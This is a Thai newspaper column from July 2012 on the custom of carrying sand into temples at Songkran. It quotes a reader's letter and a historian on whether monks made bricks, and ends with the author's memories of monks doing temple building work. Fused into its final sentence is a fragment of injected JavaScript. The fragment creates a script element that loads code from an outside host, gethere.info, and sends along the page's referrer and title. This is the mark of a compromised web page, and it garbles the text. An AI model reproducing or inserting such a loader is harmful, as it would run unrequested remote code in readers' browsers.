มติชนรายวัน ฉบับประจำวันจันทร์ที่ 16 กรกฎาคม 2555

 

          “ขนทรายเข้าวัด” เป็นประเพณีโบราณของชุมชนท้องถิ่นในสุวรรณภูมิช่วงสงกรานต์(เดือนเมษายน)ของทุกปี คนทุกวันนี้เข้าใจทั่วกันว่าเตรียมไว้ให้ชาวบ้านเล่นก่อพระทราย

          ผมคุยเรื่องต่างๆกับ อ. ประภัสสร์ ชูวิเชียร (ม. ศิลปากร) กับ อ. ศิริพจน์ เหล่ามานะเจริญ (ม. มหิดล) แล้วคุยเรื่องขนทรายเข้าวัดด้วย เลยเก็บความจาก 2 อาจารย์มาเขียน (ฉบับวันพุธ 16 พ.ค. 2555) ว่า ขนทรายเข้าวัดไว้ให้พระสงฆ์ใช้ทรายผสมดินเหนียวทำอิฐก่อสร้างโบสถ์ วิหาร การเปรียญ และเสนาสนะอื่นๆที่ต้องสร้างด้วยอิฐ กับทรายมาแต่โบราณ

          กองทรายในวัดเมื่อยังไม่ใช้งานก่อสร้างก็ให้ชาวบ้านก่อพระทรายไว้ทำบุญก็ได้ ไม่เสียหาย กลับดีมีประโยชน์เพิ่มอีก

          คุณวีระวัฒน์ วงศ์ศุปไทย (5 ม. 3 ต. บางกระบือ อ. สามโคก จ. ปทุมธานี) เขียนมาแลกเปลี่ยนเรียนรู้ ผมจะขอคัดมาเฉพาะใจความสำคัญว่า

          “การทำอิฐแบบโบราณ ไม่ใช่ง่ายอย่างทำพระเครื่องของหลวงปู่หลวงพ่อในวัด การทำอิฐมันเป็นอาชีพ ไม่ใช่กิจการงานของพระสงฆ์แต่อย่างใด เป็นงานหนัก—-เป็นอาชีพของฆราวาส”

          “เหตุที่ในแผ่นอิฐมีส่วนผสมของทรายอยู่เพราะในดินเลนที่งมจากแม่น้ำนั้น ชั้นบนจะเป็นทรายและในเนื้อดินก็มีทรายผสมอยู่แล้วจึงไม่ใช่เรื่องแปลกอะไรที่ในแผ่นอิฐจะต้องมีทรายผสมอยู่ ส่วนการก่อเจดีย์ทรายในวัดทางวัดจะได้ใช้ทรายในการถมที่ปรับพื้น หรือไว้ให้ช่างก่อสร้างที่ทางวัดจ้างมาก่อสร้างโบสถ์ วิหาร เจดีย์ กุฏิ ทรายแม่น้ำโดยทั่วไปจะมีดินเลนปนอยู่ไม่เหมาะจะใช้ก่อสร้าง เรียกว่า ‘ทรายขี้เป็ด’”

          “เพราะฉะนั้นพระเผาอิฐจึงไม่ใช่กิจกรรมของสงฆ์และไม่เคยพบหลักฐานทางประวัติศาสตร์โบราณคดีวัดร้างยุคสมัยใดมีเตาเผาอิฐอยู่ในวัด”

          ผมทำสำเนาข้อความในจดหมายทั้งหมดโดยไม่ตัดทอนให้ อ. ประภัสสร์ อ่าน แล้วเขียนอธิบาย จะคัดมาเผยแพร่ไว้ดังนี้

          (อ. ประภัสสร์ เริ่มต้นว่า) “เป็นความจริงที่การเผาอิฐไม่ใช่งานหลักของพระสงฆ์ แต่การนำทรายมาไว้ภายในวัดอาจเป็นประเพณีที่สืบเนื่องลงมาถึงการสร้างและปฏิสังขรณ์วัดวาอาราม ศาสนสถานให้ใหม่เอี่ยมสุกปลั่งตลอดเวลา เพราะปีหนึ่งๆเสนาสนะภายในวัดย่อมชำรุดสึกกร่อนเสียหายไปบ้างไม่มากก็น้อย และทรายก็เป็นวัสดุที่ใช้ในงานก่อสร้างทั่วไป ทั้งผสมในเนื้ออิฐ ผสมปูน ถมที่ ฯลฯ

          ที่กล่าวว่าเอาทรายเข้าวัดเพื่อทำอิฐนั้น มิได้หมายความว่า พระสงฆ์จะต้องเป็น ผู้เผาอิฐเอง อย่างน้อยเอกสารจนถึงสมัยรัชกาลที่ 4 ก็ระบุไว้ว่าเมื่อจะมีการสร้างพระราชวังและซ่อมแซมอารามต่างๆในเมืองเพชรบุรีก็โปรดให้มีการเกณฑ์ชาวบ้านเมืองเพชรบุรีทำอิฐส่งครัวละ 400 ก้อน (ซึ่งครั้งนั้นเร่งรัดจนชาวบ้านไม่มีเวลาทำนา มีคำวิพากษ์ว่า ‘อิฐสี่ร้อยฉิบหาย’) ซึ่งแน่นอนว่าการสร้างวัดสมัยโบราณที่ใช้อิฐจำนวนมหาศาลไม่มีทางที่พระสงฆ์จะผลิตขึ้นเองได้ทั้งหมด  คงอาศัยระบบมูลนายเกณฑ์ทำอิฐตามที่กำหนดมาส่งให้นั่นเอง ถ้าเป็นวัดหลวงที่กษัตริย์สร้างมีขนาดใหญ่ก็เกณฑ์อิฐได้มาก วัดระดับรองลงมาก็ลดหลั่นกันไปตามฐานะ

          สิ่งที่จะต้องไม่ลืมคือ ในสมัยโบราณ วัดเป็น ‘พื้นที่กลาง’ ของสังคมไทย ข้าวของเครื่องใช้วัสดุต่างๆไปจนถึงการเรียนการสอนหนังสือล้วนอยู่ที่วัด ใครจะติดต่อขอยืมขอใช้สิ่งของใดก็มานำเอาไปจากวัด ด้วยเหตุนั้น ทรายที่ขนมาถวายให้วัดไม่ว่าจะไปผสมทำอิฐ(ในกรณีที่สัดส่วนของทรายในดินจากแม่น้ำมีไม่เพียงพอ) หรือไปผสมปูนฉาบผนังอาคาร หรือนำไปถมพื้นปรับระดับภายในวัดอย่างไรก็ดี ถือเป็นของส่วนรวมที่ผู้ซึ่งมีหน้าที่ปฏิสังขรณ์วัดจะมานำไปใช้ในงานต่างๆได้

          อนึ่ง ในสังคมไทยจนทุกวันนี้ยังมี ‘พระช่าง’ คือพระสงฆ์ที่มีความรู้ความสามารถด้านงานช่างซึ่งมีหลักฐานว่าพระสงฆ์เหล่านี้ลงมือทำงานศิลปกรรมด้วยตนเอง เช่น พระอาจารย์นาคหรือขรัวอินโข่งในสมัยต้นกรุงรัตนโกสินทร์ รวมไปถึงกลุ่มช่างพระสงฆ์ของเมืองเพชรบุรีที่ยังสืบงานฝีมือกันลงมา

          ยังมีหลักฐานของก้อนอิฐและแผ่นกระเบื้องโบราณในวัดทางล้านนาที่พบจากการดำเนินงานทางโบราณคดีบางแห่งเขียนตัวอักษรระบุชื่อบุคคลที่อาจเป็นพระสงฆ์เป็นผู้ปั้นด้วย แสดงว่า การปั้นอิฐก็เป็นงานช่างอย่างหนึ่งของพระสงฆ์เช่นกันในการสร้างซ่อมวัดวาอาราม” (จบคำอธิบายของ อ. ประภัสสร์)

          ผมเคยเป็นเด็กวัดในดงศรีมหาโพธิ์(จ. ปราจีนบุรี) ตั้งแต่เรียนชั้นประถม เห็นพระทั้งวัดทำงานก่อสร้างทุกวันเป็นปกติ ถ้าไม่ทำจะผิดปกติ

          เมื่อเข้ากรุงเทพฯ เรียนมัธยมจนเข้ามหาวิทยาลัย ก็เป็นเด็กวัดย่านประตูผี สำราญราษฎร์ อยู่กับ“พระครูไว”(คนบางบัวทอง นนทบุรี) เป็นพระช่าง ต้องคุมงานก่อสร้างบูรณปฏิสังขรณ์ทั้งวัด พร้อมพระสงฆ์ลูกวัดกลุ่มหนึ่ง ทำงานทุกวัน จะเว้นเฉพาะวันพระกับไปสวดมนต์และเทศน์มหาชาติหรือรับกิจนิมนต์ไปที่อื่น

          ถ้าพระในวัดไม่เป็นงานช่างบ้างเลย แล้วไม่ดูแลซ่อมแซมวัดบ้าง เมื่อผมเห็นที่ไหนครั้งใดจะนึกในทางไม่ดีต่อสมภารกับพระลูกวัดนั้นs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);